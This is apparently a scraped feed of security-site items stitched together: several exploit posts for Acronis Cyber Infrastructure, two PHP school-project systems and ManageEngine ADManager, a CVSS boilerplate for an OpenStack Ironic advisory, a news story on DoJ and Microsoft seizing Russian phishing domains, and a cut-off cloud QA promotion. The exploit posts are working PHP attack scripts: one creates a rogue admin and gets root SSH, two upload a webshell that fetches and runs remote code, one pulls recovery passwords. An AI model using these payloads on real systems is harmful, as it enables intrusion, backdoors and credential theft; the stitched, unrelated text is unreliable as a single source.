Acronis Cyber Infrastructure version 5.0.1-61 suffers from a cross site request forgery vulnerability.

    =============================================================================================================================================| # Title     : Acronis Cyber Infrastructure 5.0.1-61 CSRF Add ADmin Vulnerability                                                          || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits)                                                            || # Vendor    : https://www.acronis.com/en-eu/products/cyber-infrastructure/                                                                |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] add new admin.[+] Line 83 + 100 +138 + 202 set your target .[+] save code as poc.php .[+] USage : cmd => c:\www\test\php poc.php [+] PayLoad :<?phpclass AcronisExploit {    private $sshSocket;    private $dbConn;    private $clusterId;        public function __construct() {        // Initialize default values        $this->sshSocket = null;        $this->dbConn = null;        $this->clusterId = null;    }    // Function to add an admin user to PostgreSQL DB    public function addAdminUser($username, $userid, $password) {        echo "Creating admin user $username with userid $userid\n";        // Insert new admin user into the user table        $resQuery = $this->postgresQuery("INSERT INTO \"user\" VALUES('$userid','{}','T',NULL,NULL,NULL,'default');");        if (!$resQuery) return false;        // Insert new admin user into the local_user table        $resQuery = $this->postgresQuery("SELECT MAX(id) FROM \"local_user\";");        if (!$resQuery) return false;                $idLuser = pg_fetch_result($resQuery, 0, 0) + 1;        $resQuery = $this->postgresQuery("INSERT INTO \"local_user\" VALUES('$idLuser','$userid','default','$username',NULL,NULL);");        if (!$resQuery) return false;        // Hash the password        $passwordHash = password_hash($password, PASSWORD_BCRYPT);        echo "Setting password $password with hash $passwordHash\n";        $today = date('Y-m-d');        $resQuery = $this->postgresQuery("INSERT INTO \"password\" VALUES('$idLuser','$idLuser',NULL,'F','$passwordHash',0,NULL,DATE '$today');");        if (!$resQuery) return false;        // Assign admin roles        $idProjectRole = $this->postgresQuery("SELECT id FROM \"project\" WHERE name = 'admin' AND domain_id = 'default';");        $idAdminRole = $this->postgresQuery("SELECT id FROM \"role\" WHERE name = 'admin';");        echo "Assigning the admin roles: $idProjectRole and $idAdminRole\n";        $this->postgresQuery("INSERT INTO \"assignment\" VALUES('UserProject','$userid','$idProjectRole','$idAdminRole','F');");        echo "Successfully created admin user $username with password $password\n";        return true;    }    // Function to run a PostgreSQL query    private function postgresQuery($query) {        $result = pg_query($this->dbConn, $query);        if (!$result) {            echo "PostgreSQL query failed: " . pg_last_error($this->dbConn) . "\n";            return false;        }        return $result;    }    // Function to login to SSH    public function doSshLogin($ip, $user, $sshKey) {        $connection = ssh2_connect($ip, 22);        if (!$connection) {            echo "SSH connection failed\n";            return false;        }        if (ssh2_auth_pubkey_file($connection, $user, $sshKey['public'], $sshKey['private'])) {            $this->sshSocket = $connection;            return true;        } else {            echo "SSH authentication failed\n";            return false;        }    }    // Function to login to Acronis Cyber Infrastructure web portal    public function aciLogin($name, $pwd) {        $postData = json_encode([            'username' => $name,            'password' => $pwd        ]);        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, "https://target-uri/api/v2/login");        curl_setopt($ch, CURLOPT_POST, true);        curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);        curl_setopt($ch, CURLOPT_HTTPHEADER, [            'Content-Type: application/json',            'X-Requested-With: XMLHttpRequest'        ]);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);        $response = curl_exec($ch);        curl_close($ch);        return (strpos($response, '"code":200') !== false);    }    // Function to get the cluster ID    public function getClusterId() {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, "https://target-uri/api/v2/clusters");        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);        $response = curl_exec($ch);        curl_close($ch);        $data = json_decode($response, true);        if (isset($data['data'][0]['id'])) {            return $data['data'][0]['id'];        }        return null;    }    // Function to generate SSH keys    private function generateSshKeys() {        $privateKey = tempnam(sys_get_temp_dir(), 'ssh_private');        $publicKey = $privateKey . '.pub';        ssh2_genkeypair($privateKey, $publicKey);        return [            'private' => $privateKey,            'public' => $publicKey        ];    }    // Function to upload SSH public key    public function uploadSshKey($sshKey, $clusterId) {        $postData = json_encode([            'key' => $sshKey,            'event' => [                'name' => 'SshKeys',                'method' => 'post',                'data' => [                    'key' => $sshKey                ]            ]        ]);        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, "https://target-uri/api/v2/$clusterId/ssh-keys");        curl_setopt($ch, CURLOPT_POST, true);        curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);        curl_setopt($ch, CURLOPT_HTTPHEADER, [            'Content-Type: application/json',            'X-Requested-With: XMLHttpRequest'        ]);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);        $response = curl_exec($ch);        curl_close($ch);        return (strpos($response, '"task_id"') !== false);    }    // Main exploit function    public function exploit($rhost, $dbPort, $sshPort, $username, $password) {        // Connect to PostgreSQL        $this->dbConn = pg_connect("host=$rhost port=$dbPort dbname=keystone user=vstoradmin password=vstoradmin");        if (!$this->dbConn) {            echo "Could not connect to PostgreSQL database\n";            return false;        }        // Add a new admin user        $newUsername = substr(md5(rand()), 0, 8);        $newPassword = substr(md5(rand()), 0, 16);        $userId = bin2hex(random_bytes(16));        $this->addAdminUser($newUsername, $userId, $newPassword);        // Login to Acronis        if (!$this->aciLogin($newUsername, $newPassword)) {            echo "Failed to login to Acronis\n";            return false;        }        // Get cluster ID        $this->clusterId = $this->getClusterId();        if (!$this->clusterId) {            echo "Failed to get cluster ID\n";            return false;        }        // Generate SSH keys        $sshKey = $this->generateSshKeys();        // Upload SSH public key        if (!$this->uploadSshKey($sshKey['public'], $this->clusterId)) {            echo "Failed to upload SSH public key\n";            return false;        }        // SSH Login        if (!$this->doSshLogin($rhost, 'root', $sshKey)) {            echo "SSH login failed\n";            return false;        }        echo "Exploit successful, SSH session established!\n";        return true;    }}// Example usage$exploit = new AcronisExploit();$exploit->exploit('target-ip', 6432, 22, 'vstoradmin', 'vstoradmin');Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Acronis Cyber Infrastructure 5.0.1-61 Cross Site Request Forgery

Vehicle Service Management System version 1.0 suffers from a WYSIWYG code injection vulnerability.

=============================================================================================================================================  
| # Title     : Vehicle Service Management System 1.0 WYSIWYG code injection vulnerability                                                  |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            |  
| # Vendor    : https://www.kashipara.com/project/php/10641/online-vehicle-service-management-system                                        |  
=============================================================================================================================================

poc :

[+] This payload injects code of your choice into the welcome page or about via TinyMCE is a WYSIWYG editor V: 7.3.0 which is called inside the file /php-spms/classes/Master.php . 

   [+] Line 86 :  Set your Target.

[+] Line 27 :  set your payload.  <textarea name="page[welcome] ===> You can type welcome or about.

[+] save payload as poc.html

[+] payload : 

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title>Welcome Page Editor</title>  
    <script src="https://cdn.tiny.cloud/1/dsrqgwhljvccmtuu414smiyefdarsp88j5fxk0uks60iek04/tinymce/7/tinymce.min.js" referrerpolicy="origin"></script>  
</head>  
<body>  
    <main id="main" class="main">  
        <div class="pagetitle">  
          <h1>Welcome Page</h1>  
          <nav>  
              <ol class="breadcrumb">

                             <li class="breadcrumb-item active">Welcome Page</li>  
              </ol>  
          </nav>  
        </div>

        <div id="msg-container"></div>

                <div class="card rounded-0">  
          <div class="card-body rounded-0 pt-4">  
            <div class="container-fluid">  
              <form id="page-form">  
                <textarea name="page[welcome]" cols="30" rows="10" class="form-control tinymce-editor" required>Hacked By indoushka ;</textarea>  
              </form>  
            </div>  
          </div>  
          <div class="card-footer">  
            <div class="col-lg-4 col-md-5 col-sm-10 col-12 mx-auto">  
              <button class="btn btn-block w-100 btn-primary" form="page-form">Update</button>  
            </div>  
          </div>  
        </div>

        <div id="loader" style="display:none;">Loading...</div>  
        <div id="toast"></div>

        <script>  
            // Initialize TinyMCE  
            tinymce.init({  
                selector: 'textarea.tinymce-editor',  
                height: 300,  
                menubar: false,  
                plugins: [  
                  'advlist autolink lists link image charmap print preview anchor',  
                  'searchreplace visualblocks code fullscreen',  
                  'insertdatetime media table paste code help wordcount'  
                ],  
                toolbar: 'undo redo | formatselect | bold italic backcolor | ' +  
                         'alignleft aligncenter alignright alignjustify | ' +  
                         'bullist numlist outdent indent | removeformat | help'  
            });

            // Loader functions  
            function start_loader() {  
                document.getElementById('loader').style.display = 'block';  
            }

            function end_loader() {  
                document.getElementById('loader').style.display = 'none';  
            }

            // Toast function  
            function showMessage(message, type) {  
                const messageDiv = document.getElementById('toast');  
                messageDiv.innerHTML = `<div class="alert alert-${type}">${message}</div>`;  
                setTimeout(() =>        {  
                    messageDiv.innerHTML = '';  
                }, 3000);  
            }

            // Form submit event listener  
            document.getElementById('page-form').addEventListener('submit', function(e) {  
                e.preventDefault(); // Prevent page reload

                // Start loader  
                start_loader();

                const formData = new FormData(this); // Get form data  
                const xhr = new XMLHttpRequest(); // Create new XMLHttpRequest object

                // Set up request  
                xhr.open('POST', 'http://localhost/vservice/classes/Master.php?f=save_page', true);

                // Handle response  
                xhr.onreadystatechange = function() {  
                    if (xhr.readyState === XMLHttpRequest.DONE) {  
                        end_loader();  
                        if (xhr.status === 200) {  
                            const response = JSON.parse(xhr.responseText);  
                            if (response.status === 'success') {  
                                showMessage('Page updated successfully!', 'success');  
                                location.reload(); // Reload the page if successful  
                            } else if (response.status === 'failed' && response.msg) {  
                                showMessage(response.msg, 'error');  
                            } else {  
                                showMessage('An unknown error occurred.', 'error');  
                            }  
                        } else {  
                            showMessage('Error: ' + xhr.statusText, 'error');  
                        }  
                    }  
                };

                // Send the request  
                xhr.send(formData);  
            });  
        </script>  
    </main>  
</body>  
</html>

Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================

Vehicle Service Management System 1.0 WYSIWYG Code Injection

In OpenStack Ironic before 21.4.4, 22.x and 23.x before 23.0.3, 23.x and 24.x before 24.1.3, and 25.x and 26.x before 26.1.0, there is a lack of checksum validation of supplied image_source URLs when configured to convert images to a raw format for streaming.

**Exploitability Metrics**

Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.

Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.

Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.

Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.

User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.

**Vulnerable System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

**Subsequent System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

GHSA-8h22-6qwx-q4w9: OpenStack Ironic fails to verify checksums of supplied image_source URLs

Vehicle Service Management System version 1.0 suffers from a PHP code injection vulnerability.

    =============================================================================================================================================| # Title     : Vehicle Service Management System 1.0 php code injection Vulnerability                                                      || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            || # Vendor    : https://www.kashipara.com/project/php/10641/online-vehicle-service-management-system                                        |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This code injects the malicious file in path : http://$target_ip/uploads/[+] save payload as poc.php[+] usage : C:\www\test>php poc.php localhost/vservice[+] payload :<?phpfunction file_upload($target_ip) {    $file_name = "indoushka.php";    $webshell_payload = "<?php        \$url = 'https://raw.githubusercontent.com/indoushka/txt/main/indoushka.txt';        \$ch = curl_init();        curl_setopt(\$ch, CURLOPT_URL, \$url);        curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);        \$output = curl_exec(\$ch);        curl_close(\$ch);        if (\$output) {            include 'data://text/plain;base64,' . base64_encode(\$output);        }    ?>";    $post_fields = array(                'save' => '',        'username' => 'az',        'password' => 'az@gt.gt',      'img' => new CURLFile('data://text/plain;base64,' . base64_encode($webshell_payload), 'application/x-php', $file_name),                  'qty' => '1'    );    $ch = curl_init();    curl_setopt($ch, CURLOPT_URL, "http://$target_ip/classes/Users.php?f=save");    curl_setopt($ch, CURLOPT_POST, 1);    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);    $response = curl_exec($ch);    curl_close($ch);    echo "(+) Shell uploaded successfully.\n";    echo "(+) Access the shell at: http://$target_ip/uploads/\n";}if ($argc != 2) {    echo "(+) Usage: php " . $argv[0] . " <target ip>\n";    echo "(+) Example: php " . $argv[0] . " 10.0.0.1\n";    exit(-1);}$target_ip = $argv[1];file_upload($target_ip);Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Vehicle Service Management System 1.0 Code Injection

Transport Management System version 1.0 suffers from an arbitrary file upload vulnerability.

=============================================================================================================================================  
| # Title     : Transport Management System 1.0 Remote File Upload Vulnerability                                                            |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            |  
| # Vendor    : https://www.kashipara.xyz/download/project/user/2022/202203/kashipara.com_transport-management-syste.zip                    |  
=============================================================================================================================================

POC :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following html code uploads a executable malicious file remotely .

[+] Go to the line 6.

[+] Set the target site link Save changes and apply . 

[+] save code as poc.html .

<!DOCTYPE html>  
<html xmlns="http://www.w3.org/1999/xhtml">  
<head profile="http://www.w3.org/2005/10/profile">  
<script data-ad-client="ca-pub-2400875940842439" async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>  
<br>  
            <form class="form-horizontal" action="http://127.0.0.1/Transport-Management/newvehicle.php" method="post" enctype="multipart/form-data">

                                <div class="input-group">  
                  <span class="input-group-addon"><b>Registration Number</b></span>  
                  <input id="vehreg" type="text" class="form-control" name="vehregno" placeholder="Reg No">  
                </div>  
                <br> 

                                 <div class="input-group">  
                  <span class="input-group-addon"><b>Chesis No</b></span>  
                  <input id="vehchesis" type="text" class="form-control" name="vehchesis" placeholder="Chesis No">  
                </div>  
                <br> 

                                <div class="input-group">  
                  <span class="input-group-addon"><b>Brand</b></span>  
                  <input id="vehbrand" type="text" class="form-control" name="vehbrand" placeholder="Brand">  
                </div>  
                <br>

                                <div class="input-group">  
                  <span class="input-group-addon"><b>Color</b></span>  
                  <input id="vehcolor" type="text" class="form-control" name="vehcolor" placeholder="Color">  
                </div>  
                <br>

                                 <div class="input-group">  
                  <span class="input-group-addon"><b>Registration Date</b></span>  
                  <input id="vehregdate" type="text" class="form-control" name="vehregdate" placeholder="Registration date">  
                </div>  
                <br>

                                                               <script>  
                      $( function() {  
                        $( "#vehregdate" ).datepicker();  
                      } );  
                </script> 

                                                <br>

                                 <div class="input-group">  
                  <span class="input-group-addon"><b>Description</b></span>  
                     <textarea rows="5" id="draddress" type="text" class="form-control" name="vehdescription" placeholder="Address"> </textarea>

                                  </div>  
                <br>

                                  
                <div class="input-group">  
                  <span class="input-group-addon"><b>Photo</b></span>  
                  <input  type="file" class="form-control" name="file"> 

              </div>

                                                 <br>

                                <div class="input-group">  
                  <input type="submit" name="submit" class="btn btn-success">

                                  </div>

              </form>     
        </div>    
        <div class="col-md-3"></div>

[+] http://127.0.0.1/Transport-Management/vehicle%20picture/hacked.txt

Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================

Transport Management System 1.0 Arbitrary File Upload

Transport Management System version 1.0 suffers from a PHP code injection vulnerability.

    =============================================================================================================================================| # Title     : Transport Management System 1.0 php code injection Vulnerability                                                            || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            || # Vendor    : https://www.kashipara.xyz/download/project/user/2022/202203/kashipara.com_transport-management-syste.zip                    |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This payload inject php code contains a shell.[+] save payload as poc.php[+] usage from cmd : C:\www\test>php 2.php 127.0.0.1/Transport-Management/[+] payload :<?phpfunction file_upload($target_ip) {    $file_name = "indoushka.php";    $webshell_payload = "<?php        \$url = 'https://raw.githubusercontent.com/indoushka/txt/main/indoushka.txt';        \$ch = curl_init();        curl_setopt(\$ch, CURLOPT_URL, \$url);        curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);        \$output = curl_exec(\$ch);        curl_close(\$ch);        if (\$output) {            include 'data://text/plain;base64,' . base64_encode(\$output);        }    ?>";    $post_fields = array(                'submit' => '',        'vehregno' => '3',    'vehchesis' => '00213771818860',    'vehdescription' => 'hacked by indoushka',    'file' => new CURLFile('data://text/plain;base64,' . base64_encode($webshell_payload), 'application/x-php', $file_name),            'qty' => '1'    );    $ch = curl_init();    curl_setopt($ch, CURLOPT_URL, "http://$target_ip/newvehicle.php");    curl_setopt($ch, CURLOPT_POST, 1);    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);    $response = curl_exec($ch);    curl_close($ch);    echo "(+) Shell uploaded successfully.\n";    echo "(+) Access the shell at: http://$target_ip/vehicle picture/\n";}if ($argc != 2) {    echo "(+) Usage: php " . $argv[0] . " <target ip>\n";    echo "(+) Example: php " . $argv[0] . " 10.0.0.1\n";    exit(-1);}$target_ip = $argv[1];file_upload($target_ip);Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Transport Management System 1.0 Code Injection

ManageEngine ADManager version 7183 suffers from a password hash disclosure vulnerability.

    =============================================================================================================================================| # Title     : ManageEngine ADManager 7183 Password Hash Disclosure Vulnerability                                                          || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits)                                                            || # Vendor    : https://www.manageengine.com/products/ad-manager/                                                                           |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] ManageEngine ADManager Plus versions prior to build 7183 suffers from a  Password Hash disclosure vulnerability..[+] save code as poc.php .[+] USage : php poc.php -t <target_url> -a <auth> -u <username> -p <password>[+] PayLoad :<?php// تعطيل تحذيرات HTTPSerror_reporting(0);function getPass($target, $auth, $user, $password) {    // تهيئة Session    $ch = curl_init();        // تحويل نوع المصادقة إذا كان ADManager    if (strtolower($auth) == 'admanager') {        $auth = 'ADManager Plus Authentication';    }        // بيانات تسجيل الدخول    $data = http_build_query([        "is_admp_pass_encrypted" => "false",        "j_username" => $user,        "j_password" => $password,        "domainName" => $auth,        "AUTHRULE_NAME" => "ADAuthenticator"    ]);        // إعدادات الطلب    $url = $target . 'j_security_check?LogoutFromSSO=true';    curl_setopt($ch, CURLOPT_URL, $url);    curl_setopt($ch, CURLOPT_POST, true);    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);    curl_setopt($ch, CURLOPT_HTTPHEADER, [        "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0",        "Content-Type: application/x-www-form-urlencoded"    ]);    // إرسال الطلب    $response = curl_exec($ch);        // التحقق من المصادقة    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);    if (strpos($response, 'Cookie') !== false) {        echo "[+] Authentication successful!\n";    } elseif ($http_code == 200) {        echo "[-] Invalid login name/password!\n";        exit(0);    } else {        echo "[-] Something went wrong!\n";        exit(1);    }    // استرجاع كلمة المرور    for ($i = 1; $i <= 5; $i++) {        echo "[*] Trying to fetch recovery password for domainId: $i!\n";        $passUrl = $target . 'ConfigureRecoverySettings/GET_PASS?req=%7B%22domainId%22%3A%22' . $i . '%22%7D';        curl_setopt($ch, CURLOPT_URL, $passUrl);        curl_setopt($ch, CURLOPT_POST, false);        $passResponse = curl_exec($ch);                if ($passResponse) {            echo $passResponse . "\n";        }    }    curl_close($ch);}function get_args() {    global $argv;    $args = [        'target' => '',        'auth' => '',        'user' => '',        'password' => ''    ];    for ($i = 1; $i < count($argv); $i++) {        switch ($argv[$i]) {            case '-t':            case '--target':                $args['target'] = $argv[++$i];                break;            case '-a':            case '--auth':                $args['auth'] = $argv[++$i];                break;            case '-u':            case '--user':                $args['user'] = $argv[++$i];                break;            case '-p':            case '--password':                $args['password'] = $argv[++$i];                break;        }    }    return $args;}function main() {    $args = get_args();    if (!$args['target'] || !$args['auth'] || !$args['user'] || !$args['password']) {        echo "Usage: php exploit.php -t <target_url> -a <auth> -u <username> -p <password>\n";        exit(1);    }    getPass($args['target'], $args['auth'], $args['user'], $args['password']);}main();?>Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

ManageEngine ADManager 7183 Password Hash Disclosure

DoJ and Microsoft seized over 100 sites used by Russian hackers for phishing campaigns targeting the U.S. The…

DoJ and Microsoft seized over 100 sites used by Russian hackers for phishing campaigns targeting the U.S. The coordinated effort aims to disrupt state-backed cyber attacks and protect sensitive American data.

The U.S. Department of Justice (DoJ) has revealed that it successfully took down 41 malicious websites allegedly operated by Russian intelligence agents and their collaborators. The seized domains were reportedly being used to conduct malicious cyber activities, including targeting American institutions, in what authorities have called a “sophisticated and ongoing” campaign to exploit sensitive data.

According to the DoJ, the seized domains were being used by a group known as the “**Callisto Group**,” an operational unit within the Russian Federal Security Service (FSB). The group is accused of orchestrating spear-phishing campaigns—targeted email attacks designed to deceive recipients into revealing login credentials. The aim was to gain unauthorized access to confidential information from government entities and other high-value targets.

This action is part of a bigger effort to fight cybercrime in the U.S. and lines up with Microsoft’s latest **announcement** about taking control of 66 similar domains managed by the same group.

Deputy Attorney General Lisa Monaco highlighted the importance of the collaborative effort, **saying**, “Today’s seizure of 41 internet domains reflects the Justice Department’s cyber strategy in action—using every tool at our disposal to disrupt and deter state-sponsored cyber actors.”

She emphasised and claimed that the Russian government used these domains to impersonate legitimate entities and lure victims into a trap. With the help of private partners like Microsoft, Monaco stated that the Department of Justice is committed to exposing such actors and stripping them of their illicit capabilities.

****Microsoft’s Role in the Joint Effort****

Microsoft played a key role in this operation, filing a civil suit to seize 66 domains also linked to the Callisto Group, which Microsoft internally refers to as “Star Blizzard.” The company’s Threat Intelligence unit reported that, between January 2023 and August 2024, Star Blizzard was involved in targeting over 30 civil society organizations, including journalists, think tanks, and NGOs, in an attempt to exfiltrate sensitive information.

> _“Together, we have seized more than 100 websites. Rebuilding infrastructure takes time, absorbs resources, and costs money. By collaborating with the DOJ, we have been able to expand the scope of disruption and seize more infrastructure, enabling us to deliver greater impact against Star Blizzard “While we expect Star Blizzard to always be establishing new infrastructure, today’s action impacts their operations at a critical point in time when foreign interference in U.S. democratic processes is of utmost concern.”_
> 
> Microsoft

The **affidavit** (PDF) supporting the domain seizures reveals a sophisticated operation targeting numerous individuals and organizations, ranging from former U.S. government employees to defence contractors and Department of Energy staff. These actions, authorities say, were part of an effort to infiltrate key sectors and gather valuable intelligence.

****Callisto Group****

The Callisto Group, tracked by Microsoft under the alias “Star Blizzard” (previously known as SEABORGIUM or COLDRIVER), has become notorious for its consistent use of **spear-phishing tactics**.

These attacks often disguise themselves as legitimate communications, tricking victims into providing login information. The group reportedly targeted individuals linked to the U.S. Intelligence Community, as well as contractors working with sensitive U.S. agencies.

Back in December 2023, two individuals associated with the Callisto Group were **charged** by the DoJ: Ruslan Aleksandrovich Peretyatko and Andrey Stanislavovich Korinets, both linked to FSB Center 18. The indictment accused them of participating in a coordinated hacking campaign against U.S., U.K., NATO member nations, and Ukrainian entities, on behalf of the Russian government.

A phishing email from Callisto Group (Via Microsoft)

It is also worth mentioning that in August last year, INTERPOL dismantled the infamous ’**16shop**’ which served as a Phishing-as-a-Service (PaaS) platform. This was followed by the seizure of another Phishing-as-a-Service platform **BulletProftLink** in November 2023.

Commenting on this, **Casey Ellis**, Founder and Chief Strategy Officer at Bugcrowd, a San Francisco, Calif.-based leader in crowdsourced cybersecurity said, _“_The takedown serves a few purposes: Disrupting existing operations, their infrastructure, and their operatives. It puts ColdRiver, and others, “on notice” that their activities are being detected and that they aren’t operating with impunity, which has the benefit of sowing internal doubt and confusion within the operation, which will chill their activities for a while._“_

_“_Importantly, the announcement and the amount of signalling the USG is doing around this takedown is intended to send a message, both to foreign adversaries as well as those being protected here – Russia is a real adversary, with real cyber-operations underway_,”_ Casey warned.

This latest seizure goes on to show how authorities are not only responding to cyberattacks but also proactively dismantling the infrastructure behind these attacks. Additionally, the ongoing collaboration between the Justice Department, FBI, Microsoft, and other agencies also shows how the government and private sector together can curb cybercrime faster.

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DoJ, Microsoft Seize 100 Russian Phishing Sites Targeting US

Cloud-based solutions are transforming the software quality assurance (QA) industry. As organizations increasingly migrate their development and verification…

Cloud-based solutions are transforming the software quality assurance (QA) industry. As organizations increasingly migrate their development and verification processes to the cloud, QA teams gain access to unprecedented scalability, flexibility, and efficiency. This shift is enabling teams to optimize their workflows, better handle growing demands, and respond more swiftly to project needs.

Companies can now accelerate their evaluation cycles, enhance collaboration, and reduce costs, all while leveraging the latest technological advancements. Cloud-based platforms offer a unified environment where QA professionals, developers, and managers can work together seamlessly, regardless of their physical location. This transformation is rapidly becoming a cornerstone of modern software development.

According to AI-powered QA management tool and service provider Aqua Cloud, addressing key pain points in the software validation process requires thorough diligence. Therefore, teams must focus on higher-value activities by simplifying repetitive processes using Aqua Cloud’s AI-powered capabilities and automation tools.

Centralizing quality management in a single ecosystem helps to remove silos and guarantees seamless processes, hence greatly lowering the inefficiencies often afflicting dispersed QA systems.

****The Scalability and Flexibility of Cloud-Based Quality Assurance****

One of the primary advantages of cloud-based solutions is the ability to scale QA environments quickly and efficiently. Traditional on-premise infrastructure requires significant investment in hardware and maintenance, which limits the capacity to scale as demand increases. 

In contrast, cloud-based platforms allow QA teams to scale up or down depending on their current needs, whether they handle small-scale projects or manage enterprise-level applications. This scalability improves resource allocation and reduces the time needed to set up validation environments.

Additionally, cloud-based platforms provide unmatched flexibility. Teams can access QA environments from anywhere, facilitating global collaboration. As remote work becomes more common, the cloud’s accessibility ensures that quality assurance professionals and developers can work together without geographic constraints. This collaborative environment fosters better communication and faster resolution of issues, helping to meet tight development deadlines.

****Cost Efficiency Through Pay-as-You-Go Models****

